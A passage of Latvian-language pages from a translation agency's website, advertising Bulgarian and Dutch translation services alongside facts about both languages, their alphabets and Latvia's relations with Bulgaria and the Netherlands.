iepazītos un izveidotu ilgstošas attiecības. Ja saziņa aprobežojas tikai ar e-pastiem vai tiešsaistes sarunām, tā netiks labi uztverta un nedos vēlamo rezultātu. Bulgāri sazinoties daudz žestikulē un skaidri parāda savas emocijas ar sejas izteiksmi. Ir svarīgi atcerēties to, ka bulgāriem ir atšķirīgi galvas žesti, lai norādītu „nē” un „jā”, piemēram, galvas kratīšana no vienas puses uz otru nozīmē „jā”, bet kustība uz augšu un uz leju nozīmē „nē”. Lielākā daļa bulgāru sarunas laikā uztur acu kontaktu, kas liecina par sirsnību, draudzīgumu un cieņu. Bulgāri, kad runā viens ar otru, parasti stāv tuvu viens otram – rokas stiepiena attālumā. 85% iedzīvotāju kā pirmo valodu lieto bulgāru valodu. Liela daļa jauniešu runā vairākās svešvalodās, un angļu valoda tiek plaši lietota, jo to māca visās skolās un augstskolās. Apmēram 60% iedzīvotāju darbspējas vecumā (25 līdz 64 gadiem) runā vismaz vienā svešvalodā, un apmēram divas trešdaļas studentu apgūst angļu vai vācu valodu. Neskatoties uz to, ārpus Sofijas, biznesa sanāksmēm bieži ir nepieciešami tulki. Bulgāri saprot arī citas slāvu valodas, ja tās runā lēni, piemēram, serbu un maķedoniešu valodu. Kā biznesa valodu bulgāru valodu ārpus valsts teritorijas nelieto. LATVIJAS UN BULGĀRIJAS SADARBĪBA Latviju un Bulgāriju vieno draudzīgas attiecības, kuras ir balstītas uz kopīgām interesēm nodrošināt stabilitāti, drošību un labklājību visā Eiropas reģionā. 2022. gada 24. maijā aprit 100 gadu Latvijas un Bulgārijas diplomātiskajām attiecībām. Bulgārijas vēstniece Latvijā kopš 2021. gada 5. jūlija ir Selvere Ahmeda Halila (Selver Ahmed Halil) ar rezidenci Sofijā, Bulgārijā. Bulgārijai nav funkcionējošas vēstniecības Latvijas teritorijā. Lieliska ir abu valstu sadarbība kultūras jomā. Abas valstis ir mazas teritorijas ziņā, tādēļ ļoti vērtīga ir kultūras vērtību apmaiņa un kultūras tuvināšanās. Liela nozīme ir piešķirama arī sadarbības projektiem izglītības jomā. Starptautiskajā Rakstnieku un tulkotāju mājā Ventspilī kopš 2015. gada no Bulgārijas rezidencēs uzturējušies daudzi bulgāru dzejnieki un rakstnieki. Latvijas Kultūras akadēmijai ir noslēgts līgums ar Bulgārijas Jauno universitāti attiecībā uz studentu un pasniedzēju apmaiņas programmām. Latvijas Etnogrāfiskais brīvdabas muzejs 2018. gadā tika pārstāvēts Bulgārijas Brīvdabas muzeja Etar rīkotajā starptautiskajā tradicionālās kultūras festivālā. Latvija un Bulgārija sadarbojas aizsardzības jomā 2014. gadā parakstītās vienošanās, kā arī NATO un Eiropas Savienības ietvaros. Tāpat abas valstis piedalās Bukarestes devītniekā, platformā drošības jautājumu apspriešanai, kurā pārstāvētas arī Lietuva, Igaunija, Polija, Čehija, Slovākija, Ungārija un Rumānija. Latvijā uzturas vai dzīvo vien daži simti bulgāru, lielākoties tie ir jaunieši, kuri izvēlējušies studēt kādā no Latvijas universitātēm. BULGĀRU VALODAS DIENA 24. maijs Bulgārijā ir slāvu alfabēta, bulgāru apgaismības un kultūras diena. Šī diena tiek svinēta jau vairāk nekā 170 gadu – nevieni citi svētki Bulgārijas vēsturē netiek svinēti tik ilgi. Bulgāri uzskata, ka 24. maijs ir visiecienītākie no visiem svētkiem. Šis datums tiek atzīmēts visā valstī. Vietējās skolas un kultūras centri rīko dažādus pasākumus, lai godinātu abu brāļu, svēto Kirila un Metodija sasniegumus kirilicas alfabēta izveidē, tostarp noliekot vainagus pie abu svēto pieminekļiem, organizējot koncertus un gājienus Bulgārijas pilsētu galvenajās ielās. Kirila un Metodija radītajiem alfabētiem, liturģisko grāmatu tulkojumiem, viņu cīņai par visu tautu tiesību aizsardzību godināt Dievu savās valodās ir vēsturiska nozīme Bulgārijas valsts attīstībā un tās uzplaukumā. Abi brāļi Kirils un Metodijs radīja alfabētu 9. gadsimtā. Viņi abi tiek uzskatīti par valsts izglītības un kultūras patroniem. 1980. gadā pāvests Jānis Pāvils II pasludināja viņus par Eiropas līdzsvētajiem. Kirilicas alfabēts mūsdienās tiek lietots 12 valstīs Austrumeiropā un Ziemeļāzijā un Vidusāzijā, kas ir slāvu valstis, kā arī valstīs, kas nav slāvu valstis, piemēram, Mongolijā, kas pagājušā gadsimta 40. gados pieņēma kirilicas alfabētu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BULGĀRU VALODĀ: dažādu dokumentu tulkošana bulgāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bulgāru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi bulgāru valodā; individuālie bulgāru valodas kursi. BULGĀRU VALODAS KOMBINĀCIJAS: bulgāru–latviešu; latviešu–bulgāru; bulgāru–lietuviešu; lietuviešu–bulgāru; igauņu–bulgāru; bulgāru–igauņu; angļu–bulgāru; bulgāru–angļu; krievu–bulgāru; bulgāru–krievu; poļu–bulgāru; bulgāru–poļu; ukraiņu–bulgāru; bulgāru–ukraiņu; čehu–bulgāru; bulgāru–čehu; vācu–bulgāru; bulgāru–vācu; spāņu–bulgāru; bulgāru–spāņu; franču–bulgāru; bulgāru–franču; itāļu–bulgāru; bulgāru–itāļu; dāņu–bulgāru; bulgāru–dāņu; zviedru–bulgāru; bulgāru–zviedru; norvēģu–bulgāru; bulgāru–norvēģu; somu–bulgāru; bulgāru–somu, bulgāru–arābu; arābu–bulgāru; bulgāru–armēņu, armēņu–bulgāru; bulgāru–baltkrievu, baltkrievu–bulgāru; bulgāru–ebreju, ebreju–bulgāru, bulgāru–grieķu, grieķu–bulgāru; bulgāru–gruzīnu; gruzīnu–bulgāru; bulgāru–hindi; hindi–bulgāru; bulgāru–holandiešu; holandiešu–bulgāru; bulgāru–korejiešu; korejiešu–bulgāru; bulgāru–kurdu; kurdu–bulgāru; bulgāru–ķīniešu; ķīniešu–bulgāru; bulgāru–portugāļu; portugāļu–bulgāru; bulgāru–rumāņu; rumāņu–bulgāru; bulgāru–slovāku; slovāku–bulgāru; bulgāru–slovēņu; slovēņu–bulgāru; bulgāru–turku; turku–bulgāru; bulgāru–ungāru; ungāru–bulgāru u. c. --- > Rakstiski un mutiski tulkojumi holandiešu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - Published: 2022-04-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/ - Translation Priorities: Optional TULKOJUMI HOLANDIEŠU VALODĀ / TULKOT HOLANDIEŠU VALODĀ CIK MAKSĀ TULKOJUMI HOLANDIEŠU VALODĀ? Tulkojumu cena no/uz holandiešu valodu tiek noteikta katram pasūtījumam ļoti individuāli. Izcenojumus veido vairākas komponentes atkarībā no klienta vēlmēm un vajadzībām. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, tostarp notariālie apstiprinājumi u. c. pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu pakalpojumu cenrādis no/uz holandiešu valodu ir mūsu sadarbības līguma ar klientiem galvenā daļa. Mēs vienmēr sniedzam detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta uzsākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HOLANDIEŠU VALODĀ: dažādu dokumentu tulkošana holandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; holandiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi holandiešu valodā; individuālie holandiešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus holandiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI HOLANDIEŠU VALODĀ / TULKOT HOLANDIEŠU VALODĀ CIK MAKSĀ TULKOJUMI HOLANDIEŠU VALODĀ? Tulkojumu cena no/uz holandiešu valodu tiek noteikta katram pasūtījumam ļoti individuāli. Izcenojumus veido vairākas komponentes atkarībā no klienta vēlmēm un vajadzībām. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, tostarp notariālie apstiprinājumi u. c. pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu pakalpojumu cenrādis no/uz holandiešu valodu ir mūsu sadarbības līguma ar klientiem galvenā daļa. Mēs vienmēr sniedzam detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta uzsākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HOLANDIEŠU VALODĀ: dažādu dokumentu tulkošana holandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; holandiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi holandiešu valodā; individuālie holandiešu valodas kursi. Meklējiet valodu risinājumus holandiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR HOLANDIEŠU VALODU Amsterdamas aizliegtie prieki, tulpes, dzirnavas un garākie cilvēki pasaulē – šīs ir mūsu pirmās asociācijas, izdzirdot vārdu Nīderlande! Holandiešu valoda, saukta arī par nīderlandiešu valodu Nīderlandē un flāmu valodu Beļģijā, ir ģermāņu saimes valoda, kas ir dzimtā valoda ap 23 miljoniem cilvēku Nīderlandē, Beļģijā, Surinamā, Arubā un Nīderlandes Antiļās. Tā ir ļoti radniecīga citām rietumģermāņu valodām, proti, angļu, rietumfrīzu un vācu. No holandiešu valodas veidojusies afrikandu valoda, kas tagad tiek uzskatīta par patstāvīgu valodu. Holandiešu valoda ir Nīderlandes oficiālā valoda. Tomēr tai ir arī oficiāls statuss Beļģijā. Dienvidamerikā holandiešu valoda joprojām ir Surinamas oficiālā valoda. Tā ir arī Arubas, Kirasao un Sentmartenas oficiālā valoda Karību jūras reģionā. Protams, holandiešu valoda ir arī viena no Eiropas Savienības un Dienvidamerikas Nāciju Savienības oficiālajām valodām. Holandiešu valoda ir septītā izplatītākā valoda Eiropā. Tā ir rietumģermāņu valoda un tai ir daudz kas kopīgs ar vācu, angļu, kā arī dāņu un zviedru valodām. Tāpēc mācīties holandiešu valodu ir diezgan viegli tiem, kas jau prot vācu valodu. Holandiešu valoda ir viena no Eiropas Savienības un Dienvidamerikas Savienības oficiālajām valodām un 56. izplatītākā sarunvaloda pasaulē. Holandiešu valoda pasaulē ir pazīstama ar apzīmējumu dutch. Dažos avotos holandiešu valoda tiek dēvēta arī par holandiešu dialektu, kurā runā Flandrijas iedzīvotāji, kuri savukārt to dēvē par flāmu valodu. Pirmie holandiešu valodas vārdi ir 12 gadsimtus veci. Tiek uzskatīts, ka pirmais zināmais rakstītās holandiešu valodas piemērs tika uzrakstīts kā dzejolis uz papīra lapas, domājams, ka 12. gadsimtā. Šis slavenākais teksts seno holandiešu valodā ir „Hebban olla vogala nestas hagunnan, hinase hic enda tu, wat unbidan we nu” („Visi putni ir sākuši ligzdot, izņemot tevi un mani, ko mēs gaidām"), manuskripts ir datējams ap 1100. gadu, ko uzrakstīja flāmu mūks Ročesteras abatijā (Anglija, Kenta). Šis manuskripts pašlaik glabājas Oksfordā. Vārdiem holandiešu valodā ir daudz līdzskaņu. Lai gan holandiešu valoda nav grūti apgūstama valoda, tai tomēr ir savi klupšanas akmeņi. Ir daudzi vārdi, kas ir diezgan viltīgi un šķiet kā mēles mežģi, jo satur vairākus līdzskaņus pēc kārtas. Piemēram, vārdā angstschreeuw, kas nozīmē „baiļu kliedziens”, ir astoņi līdzskaņi, savukārt vārdam slechtstschrijvend, kas nozīmē „vissliktākais raksts”, ir deviņi, u. tml. Vārdam gezellig nav tulkojuma uz nevienu valodu. Tas ir viens no visbiežāk lietotajiem holandiešu vārdiem, bet tam nav burtiska tulkojuma angļu vai daudzās citās valodās, un to pamatā izmanto, lai aprakstītu jebko, kas izraisa mājīguma, baudas vai labas pašsajūtas sajūtu. Piemēram, „Man bija patiešām jauks vakars un es sēdēju gezellig pie ugunskura. ” Lietvārdiem holandiešu valodā nav locījumu. Garākais vārds holandiešu valodā ir 60 burtu garš. Neticami, bet vārdā „kindercarnavalsoptochtvoorbereidingswerkzaamhedencomitéleden” ir 60 burtu un tas attiecas uz biedriem, kas piedalās bērnu karnevāla gājiena sagatavošanās aktivitātēs. Tas tika minēts 2011. gada Ginesa rekordu grāmatā kā garākais holandiešu vārds. Holandiešiem patīk rakstīt vārdus bez atstarpēm, kas ir skaidri redzams arī ar šo vārdu. Afrikāņi un holandieši savstarpēji var saprasties. Afrikandu valoda, kā viena no Dienvidāfrikas valsts valodām, ir cēlusies no holandiešu valodas, kurā runāja holandiešu kolonisti. Abas valodas joprojām ir savstarpēji vairāk vai mazāk saprotamas. Holandiešu valodā runājošajam gan ir vieglāk saprast afrikandu valodu nekā otrādi. Ne tikai latviešiem arī nīderlandiešiem ļoti patīk lietot deminutīvus. Daudzās valodās ir deminutīvi — vārdi vai vārdu galotnes, ko izmanto, lai izteiktu pieķeršanos vai norādītu uz pamazinājuma formu. Tomēr holandiešu valodā deminutīvi tiek lietoti daudz un bieži. Viņi izmanto piedēkli je (vai kādu no tā variantiem), lai pamazinātu visu veidu lietvārdus un apstākļa vārdus. Holandiešu valodā deminutīvus izmanto ne tikai, lai norādītu uz izmēru vai pieķeršanos. Tos izmanto arī, lai padarītu saskaitāmus neskaitāmus lietvārdus. Piemēram, bier ir alus, bet biertje ir alus glāze. Tulkojot tekstu no angļu vai kādas citas valodas uz holandiešu valodu, tulkotā teksta apjoms noteikti palielināsies vismaz par 35 %. Jo noteikti tiks izmantoti garie salikteņi, kas ir raksturīgi holandiešu valodai. Tas ir ļoti svarīgi, gatavojot digitālā mārketinga saturu vai atslēgas vārdus Google Ads aktivitātēm. Holandiešu valodā ir dziļi iesakņojusies franču valoda, vairums holandiešu vārdu ir aizgūti tieši no franču valodas. Mūsdienu latviešu valodas vārdnīcā mēs atradīsim abus terminus – holandiešu un nīderlandiešu valoda. Savukārt, lai sekmētu konsekventu un pareizu valodu nosaukumu lietojumu, 2006. gada 29. maija Valsts valodas centra sēdē izvērtējot valodu un valodu grupu nosaukumus latviešu valodā, tika pieņemts, ka pareizi ir teikt holandiešu valoda. HOLANDIEŠU VALODAS ALFABĒTS Jau no savas rakstītās vēstures pirmsākumiem holandieši lietoja latīņu alfabētu. Holandiešu alfabēts sastāv no 26 standarta latīņu burtiem (tiem tiek pievienota arī ligatūra ‘IJ’, dažreiz tā ir burta ‘Y’ vietā). No diakritiskajām zīmēm holandiešu valodā tiek lietota uzsvara zīme, diaerēze, apostrofs, garumzīmes patskaņa garuma norādīšanai (lieto reti). Divdesmit piektais burts holandiešu valodas alfabētā izraisa mulsumu ne vienam vien interesentam. Reizēm šis burts tiek rakstīts kā ‘Y’, bet reizēm kā ‘IJ’. Holandiešu valodā burtu ‘i’ un ‘j’ kombinācijā veidojas patskanis, kas izklausās līdzīgi angļu valodas skaņai ‘i’ vārdā ‘hi’. Holandiešu valodā ‘ij’ tiek uztverts kā viens burts, kas vienmēr tiek rakstīts ar lielajiem burtiem, ja vārds, kas sākas ar ‘ij’ ievada teikumu vai arī ar to sākas īpašvārds. Jāatzīmē, ka burts ‘y’ nav sastopams holandiešu valodas oriģinālvārdos − tas ir raksturīgs tikai aizguvumiem no citām valodām, piemēram, baby, derby. Holandiešu valodā garie patskaņi veidojas: no diviem identiskiem, blakus esošiem patskaņiem jeb patskaņu dubultojuma; no patskaņu kombinācijām: ja blakus atrodas divi (vai vairāki) atšķirīgi patskaņi, kurus izrunā kā vienu; no patskaņiem, kas atrodas atvērtās zilbēs. Zilbe tiek uzskatīta par atvērtu, ja tā beidzas ar patskani. Visi patskaņi, izņemot ‘y’, var būt gan gari, gan īsi. Garais ‘ī’ veidojas patskaņu 'i+e' kombinācijā, nevis kā gadījumos ar pārējiem patskaņiem, kad to garuma norādīšanai pievieno identisku patskani. Patskaņu kombinācijas parasti sastāv no diviem vai trijiem dažādiem patskaņiem, kurus lielākoties izrunā kā vienu. Dalot vārdus zilbēs, patskaņu kombinācijas tiek atdalītas kā atsevišķas zilbes, kopā ar vienu vai vairākiem blakus esošajiem līdzskaņiem. Holandiešu valodā ir 16 patskaņu kombinācijas. Dažās no šīm kombinācijām atsevišķie patskaņi lieliski saplūst vienā, bet dažas nav tik ideālas. Galvenais, kas ir jāiegaumē – visas 16 kombinācijas ir nemainīgas. Principā patskaņu kombinācijas ir jāiemācās no galvas. Un iegaumējiet: ja divi, viens otram sekojoši patskaņi neveido nemainīgu patskaņu kombināciju, tad šie patskaņi (kopā ar vienu vai vairākiem līdzskaņiem) veido divas atsevišķas zilbes. Holandiešu valodā ir šādas nemainīgās patskaņu kombinācijas: aai, ae, ai, au, eeu(w), ei, eu, ie, ieu(w), ij, oe, ou, oi, ooi, oei un ui. Holandiešu valodā burtam e piemīt divas īpatnības, kas izdala to starp pārējiem patskaņiem. Burta ‘e’ īpatnības ir šādas: ja burts 'e' ir neuzsvērts, to neizrunā vispār; patskaņa ‘e’ dubultojums jeb ‘ee’ ir vienīgais patskaņu dubultojums, kas var atrasties vārda beigās. Līdzskaņu izruna ir praktiski tāda pati, kā angļu valodā: b, c, d, f, h, k, l, m, n, p, q, s, t, x, y, z. Holandiešu valodā ir 3 līdzskaņu kombinācijas: ‘ch’, ‘sch’, un ‘ng’, kas ir vairāku līdzskaņu savienojums, bet veido vienu skaņu. Attiecībā uz līdzskaņiem pastāv tikai viens ļoti svarīgs likums: zilbe vai vārds nekad nebeidzas ar diviem vienādiem līdzskaņiem. KUR UN CIK DAUDZ RUNĀ HOLANDIEŠU VALODĀ? Kopējais holandiešu valodas runātāju skaits pasaulē sasniedz aptuveni 28 miljonus. Tā ir dzimtā valoda aptuveni 23 miljiniem iedzīvotāju Nīderlandē, Beļģijā, Surinamā, Arubā, un Nīderlandes Antiļās. Kā mazākuma valodu to lieto Francijā un Vācijā. Lielākās holandiešu valodas lietotāju diasporas dzīvo ASV, Kanādā, Austrālijā un Jaunzēlandē. ASV holandiešu valoda ir viena no 15 populārākajām valodām 3 štatos: Delavērā, Indiānā un Ohaio. Tomēr holandiešu valodas runātāju procentuālais daudzums Amerikā agrāk bija krietni lielāks. Ņujorkā līdzās Hudzonas upei holandiešu kolonisti un viņu pēcnācēji paaudzēs runāja holandiešu valodā. Amerikas Savienoto Valstu 8. prezidentam Martinam Van Burenem holandiešu valoda bija viņa dzimtā valoda. Van Burens bija vienīgais ASV prezidents, kuram angļu valoda nebija viņa dzimtā valoda. CIK SAREŽĢĪTA IR HOLANDIEŠU VALODA? Sākotnēji holandiešu valoda varētu šķist ļoti sarežģīta valoda, taču tā ir pārsteidzoši vienkārša angļu un vācu valodā runājošajiem. Holandiešu valoda tiek pat dēvēta kā angļu un vācu valodu kombinācija! Tas padara to par vienu no visvieglāk apgūstamajām valodām jebkuras valodas runātājiem. Tomēr holandiešu valodas apguve prasīs zināmu laiku un pūles neatkarīgi no tā, kāda ir dzimtā valoda. Katras valodas apguvē ir dažas sarežģītas daļas, un vienīgais veids, kā tās pārvaldīt, ir tās apgūt. NEPIERASTA IZRUNA Daudziem jaunajiem studentiem holandiešu valodu ir grūti izrunāt. Pat holandiešu valodā runājošie cīnās ar to, jo valodā ir visdīvainākās burtu kombinācijas. Piemēram, ir tādas līdzskaņu kombinācijas kā: ‘nk’, ‘sch’, ‘ng’ un ‘nk’. Turklāt valodā ir sastopamas līdzskaņu kombinācijas, kas veido vienu skaņu, un citas, kas veido divas skaņas. Un tas nav tikai ar līdzskaņiem! Nīderlandiešu izrunai ir vēl viens sarežģīts aspekts: divskaņi. Šīs ir divu patskaņu kombinācijas, kas rada plūstošu skaņu, kādu neviens patskanis pats par sevi nerada holandiešu valodā. Tātad, ļoti svarīga ir sarunvalodas prakse. MULSINOŠA VĀRDU SECĪBA Gramatiski teikuma veidošana holandiešu valodā ir visai haotiska. Jo garāki kļūst teikumi, jo mulsinošāka kļūst vārdu secība. Veidojot pagātnes, nākotnes saliktos laikus darbības vārda forma tiek dalīta un tas parasti novietojas teikuma beigās. ARTIKULU DE UN HET LIETOŠANA Holandiešu valodā ir divi dažādi veidi, kā lieto artikulus de un het. Teorētiski visi vīriešu un sieviešu dzimtes vārdi tiek lietoti ar de, savukārt visi neitrālie vārdi tiek lietoti ar het: De vrouw − sieviete; De man – cilvēks; Het kind – bērns. Tomēr daudziem holandiešu vārdiem nav skaidras dzimuma norādes, tāpēc var būt diezgan grūti zināt, kurš artikuls ir lietojams. Tas ir vienkārši ir jādzird, jāiegaumē. Šīs ir sarežģītākās lietas, kas saistītas ar holandiešu valodas apguvi. Lai patiešām iemācītos valodu, ir svarīgi izmantot katru iespēju praktizēt. Lai sazinātos, nav nepieciešams tik daudz vārdu vai plašas zināšanas par sarežģītiem gramatikas likumiem. Kļūdīties ir pareizi, ja vien runājiet, klausāties, lasāt un rakstāt holandiešu valodā. Var aizvadīt gadus, mācoties valodu, un joprojām atrast vārdus, ar kuriem iepriekš nav bijusi saskare. Taču pēc Ārlietu dienesta institūta datiem, ir nepieciešamas aptuveni 600 stundu (jeb 24 nedēļas), lai varētu diezgan brīvi runāt holandiešu valodā. Protams, ļoti reti ir iespēja katru nedēļu netraucēti no vietas 25 stundas mācīties holandiešu valodu. Tātad, lai šie skaitļi iegūtu perspektīvu, būtu nepieciešamas: klases nodarbības 11,5 stundas katru nedēļu vienu gadu; klases nodarbības 5,5 stundas katru nedēļu divus gadus. HOLANDIEŠU VALODAS TULKS UN TULKOTĀJS Mūsu profesionālo tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu holandiešu valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Tulkojamā materiāla tematiskais spektrs no/uz holandiešu valodu ir ļoti plašs, ņemot vērā aktīvo abu valstu sadarbību dažādās jomās – biznesa, ekonomikas, izglītības, kultūras u. c. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz holandiešu valodu – mājaslapu tulkojumus un adaptāciju, e-komercijas satura un reklāmas saukļu, mārketinga tekstu tulkojumus, kā arī sadarbības līgumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo un sinhrono tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. HOLANDIEŠU VALODA BIZNESĀ Nīderlande ir viena no bagātākajām valstīm pasaulē, tāpēc holandiešu valodai ir lielāka ekonomiskā ietekme, nekā varētu domāt. Lai gan daudzi holandieši runā angliski, uzņēmējdarbība Nīderlandē joprojām nozīmē uzņēmējdarbību holandiešu valodā. Ja ir vēlme dzīvot un strādāt Nīderlandē, vietējās valodas zināšanas palīdzēs labāk izprast holandiešu kultūru. Ja runājat angļu valodā, jums būs iespēja to brīvi lietot. LATVIJAS UN NĪDERLANDES SAVSTARPĒJĀS ATTIECĪBAS Latviju un Nīderlandi vieno ciešas un draudzīgas attiecības, ko raksturo regulārs politiskais dialogs, plaša un daudzveidīga sadarbība, īpaši ekonomikas, kultūras un izglītības jomās. Nīderlande tradicionāli ir nozīmīgs Latvijas ekonomiskās sadarbības partneris. Pirmsākumi Nīderlandes un Latvijas savstarpējai sadarbībai ekonomikā rodami Hanzas pilsētu savienībā. No 13. līdz 17. gadsimtam, Hanzas savienības ietvaros, tirdzniecība starp tādām ostas pilsētām, kā Rīga, Amsterdama un Groningena veicināja abpusēju ekonomisko izaugsmi. Mūsdienās Latvija turpina pastāvīgi uzsvērt interesi attīstīt un pilnveidot ekonomiskās attiecības ar Nīderlandi, sekmējot augstas pievienotās vērtības eksportu uz Nīderlandi. Latvija un Nīderlande ir atvērtas un dinamiskas ekonomikas, kuru sadarbību apliecina gan stabili augsti divpusējie tirdzniecības rādītāji, gan Nīderlandes investīciju apjoms Latvijā. Abu NATO un ES dalībvalstu sadarbība notiek, balstoties uz 2008. gada 19. septembrī Londonā parakstīto Latvijas Republikas un Nīderlandes Karalistes Aizsardzības ministriju saprašanās memorandu par sadarbību aizsardzības un militāro attiecību jomā. Saprašanās memoranda mērķis ir turpināt un padziļināt divpusējo Latvijas un Nīderlandes aizsardzības resoru sadarbību NATO un ES. Latvijai ir veiksmīga sadarbība ar Nīderlandi transporta un loģistikas jomā. Visciešākā sadarbība Rīgas ostai ir izveidojusies ar Roterdamas ostu pateicoties regulāriem konteinerlīniju (Containerships, Unifeeder Container Service un Mann Line Multimodal) maršrutiem. Tāpat kopš 2016. gada ir noorganizēti vairāki testa konteinervilcienu pārvadājumi starp Ķīnu un Latviju, tostarp kombinētā dzelzceļa-jūras maršrutā Urumči-Rīga-Roterdama. Latvija arī turpmāk ir ieinteresēta piedāvāt izmantot izdevīgo Latvijas ģeogrāfisko stāvokli un infrastruktūru kravu pārvadājumiem starp Eiropu un Āziju. Latvijai izveidojusies laba sadarbība izglītības jomā ar tradīcijām bagātajām Nīderlandes universitātēm. Liela daļa Latvijas valsts un privāto augstākās izglītības iestāžu ir noslēgušas sadarbības līgumus ar Nīderlandes augstākās izglītības iestādēm par studentu, mācību spēku un zinātnieku apmaiņu. Latvijas augstskolas aktīvi sadarbojas ar Nīderlandes augstskolām ES izglītības un zinātnes programmu ietvaros. Nīderlandes augstskolās katru gadu iestājas liels skaits Latvijas jauniešu, kas iegūst bakalaura vai maģistra grādu pilnas mācību programmas ietvaros. Abu valstu sadarbība kultūras jomā ir ļoti aktīva, jo tā pamatojas uz kultūrvēsturiskajām saitēm un profesionālo ieinteresētību. Tā tiek īstenota 